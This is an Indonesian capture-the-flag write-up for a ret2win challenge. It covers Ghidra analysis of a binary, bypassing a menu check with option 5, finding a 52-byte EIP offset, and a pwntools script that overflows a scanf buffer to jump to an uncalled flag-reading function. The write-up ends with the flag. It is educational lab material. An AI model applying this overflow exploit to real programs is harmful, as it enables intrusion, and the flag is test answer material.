Ret2win , all checksec false
Desc
disuatu pedesaan ada mc yang bernama tobi dan kemudian tiba2 dia kehilangan flagnya karna dimakan anjing. plis balikin dong flagnya.
Langkah Penyelesain
lgsg kita analyze pake ghidra. terdapat banyak function, tapi kita lgsg cek aja function main nya , ternyata tidak ada apa2 selain mengarahkan ke callingmenu(), kita cek function callingmenu(). isinya :
Kita tau bahwa ini memiliki kerentanan terdapat buffer overflow. namun kita diarahkan ke function overflowme() terlebih dahulu sebelum menerima β__isoc99_scanf(&DAT_0804a19a,local_34);β nya
kita cek function overflowme()
Untuk melewati functon ini gampang. kita liat func ini akan mereturn intejer yang artinya cari aja yang return 1, yaitu opsi 5.
lanjut ke buf overflownya. yang tadi karna function overflowme ini udah kita lewati.
cek ke semua function sehabis buffer overflow ternyata tidak ada apa2 selain ngeprint doang jadi cek ke function yg ga dipanggil juga.
βchall ini adalah ret2win karena di deskripsi udah ditulis return/balikinβ jadi kita cek aja semua function2 yang ada meski ga dipanggil. terdapat beberapa function seperti mahkahmahkeluarga, mahkamahtricky dan juga function _mahkamahkeluarga dan lain2 yang keliatan suspicious. kalau udh di cek semua tau ternyata pemanggilan flag functon ada di function _mahkamahtricky dengan membuka .txt file.
Tinggal kita return ke situ buffer overflownya untuk mendapatkan isi dari txt tersebut. meski ga dipanggil.
pertama kita cari dulu EIP Offsetnya pake pwndbg
Found at offset 52.
Langsung buat solvernya di pwntools
import pwn
pwn.context.binary = elf
pwn.context.log_level = "DEBUG"
pwn.context(terminal=['tmux','split-window','-h'])
p = pwn.remote("domainnya","porttnya")
eip = 52
payload = pwn.flat(
b'A' * 52,
elf.functions._mahkamahtricky
)
pwn.write('payload',payload)
p.sendlineafter('4. Checksec dulu bos', '5')
p.sendlineafter('?',payload)
p.interactive()
Flag : LA24{r3p_1ts_n0t_pr0_pl4y3r_y3t}